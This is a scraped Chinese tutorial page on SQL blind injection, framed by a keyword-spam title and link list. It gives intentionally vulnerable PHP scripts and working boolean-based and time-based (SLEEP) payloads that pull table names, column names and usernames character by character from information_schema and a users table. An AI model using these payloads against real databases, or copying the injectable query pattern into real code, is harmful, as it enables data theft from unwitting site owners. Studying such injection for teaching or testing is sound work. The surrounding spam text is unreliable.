当前位置: 首页 > wzjs >正文

建设银行网站电脑上不去网站推广的基本手段有哪些

建设银行网站电脑上不去,网站推广的基本手段有哪些,西安网站建设品牌公司推荐,java做网站的版本2. 布尔盲注 布尔盲注是通过观察应用程序的响应&#xff08;如页面内容、HTTP 状态码等&#xff09;来判断查询条件是否为真。 <?php // 数据库连接配置 $host localhost; $dbname testdb; $user root; $password password; // 创建数据库连接 $conn new mysqli($ho…

2. 布尔盲注
布尔盲注是通过观察应用程序的响应(如页面内容、HTTP 状态码等)来判断查询条件是否为真。

<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';

// 创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// 获取用户输入的参数
$id = $_GET['id'];

// 构造布尔盲注查询
$query = "SELECT * FROM users WHERE id = $id AND 1=1";
$result = $conn->query($query);

// 根据查询结果返回不同响应
if ($result->num_rows > 0) {
    echo "Query is TRUE (数据存在)";
} else {
    echo "Query is FALSE (数据不存在)";
}

// 关闭连接
$conn->close();
?>

布尔盲注的利用:
攻击者可以通过修改 `id` 参数,逐步推断数据库信息。例如:

获取表名:

sql
  id=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'


获取列名:

sql
  id=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'


获取数据:

sql
  id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

2. 时间盲注
时间盲注是通过在 SQL 查询中插入时间延迟函数(如 `SLEEP()`),根据数据库响应时间来判断查询条件是否为真。
php
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';
// 创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

// 检查连接
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}

// 获取用户输入的参数
$id = $_GET['id'];

// 构造时间盲注查询
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 记录开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 记录结束时间

// 计算查询耗时
$query_time = $end_time - $start_time;

// 根据查询时间判断结果
if ($query_time > 5) {
    echo "Query is TRUE (延迟 5 秒)";
} else {
    echo "Query is FALSE (无延迟)";
}

// 关闭连接
$conn->close();
?>
 

时间盲注的利用:
攻击者可以通过修改 `id` 参数,逐步推断数据库信息。例如:

获取表名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)


获取列名:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)


获取数据:

sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)
 

---

3. 获取表名、列名和数据的完整流程
以下是结合布尔盲注和时间盲注的完整流程,用于获取数据库的表名、列名和数据。
步骤 1:获取表名

使用布尔盲注或时间盲注,逐个字符推断表名。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97
  

步骤 2:获取列名

使用布尔盲注或时间盲注,逐个字符推断列名。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117
  

步骤 3:获取数据

使用布尔盲注或时间盲注,逐个字符推断数据。
示例:
sql
  id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97

http://www.dtcms.com/wzjs/449521.html

相关文章:

  • 怎么做自己网站的后台seo交流博客
  • 长沙建网站联系电话百度知道合伙人官网
  • 国外做建筑平面图的网站网络营销有哪几种方式
  • 网上推广手段包括引擎优化seo是什么
  • 教育培训 营销型网站系统福州搜索排名提升
  • 竞价托管哪家专业广东seo网站推广代运营
  • 儒枫网网站建设权威发布
  • 四川有那些网站建设公司注册网站
  • wordpress主题诗词seo排名赚能赚钱吗
  • 建设网站的公司广州香港头条新闻
  • 网站编辑器推广普通话的文字内容
  • 电子商务网站开发与实现网络广告文案范文
  • 昆明网站建设 技术支持谷歌seo外包
  • 网站建设 大公司排名求个没封的网站2022
  • 猎聘网网站建设目标如何查看百度搜索指数
  • 大连 网站万网域名管理平台
  • 怎么做wep网站千万不要去电商公司上班
  • 群晖做网站服务器长春seo网站管理
  • 沈阳定制网站开发公司百度网站的网址是什么
  • 沃然建站平台官网苏州seo建站
  • 保定网站设计制作蜂蜜网络营销推广方案
  • 莱芜网站建设案例平台推广广告宣传词
  • 网站建设项目进度计划网站推广优化设计方案
  • 承接网站建设文案网站生成
  • 深圳龙华做网站的发外链平台
  • 做机械的专业外贸网站有哪些seo整站优化解决方案
  • 网站被人做跳转品牌建设
  • 厦门海沧网站建设太原seo外包公司
  • app开发源码简述seo和sem的区别
  • 广州 网站建设 行价郑州网站定制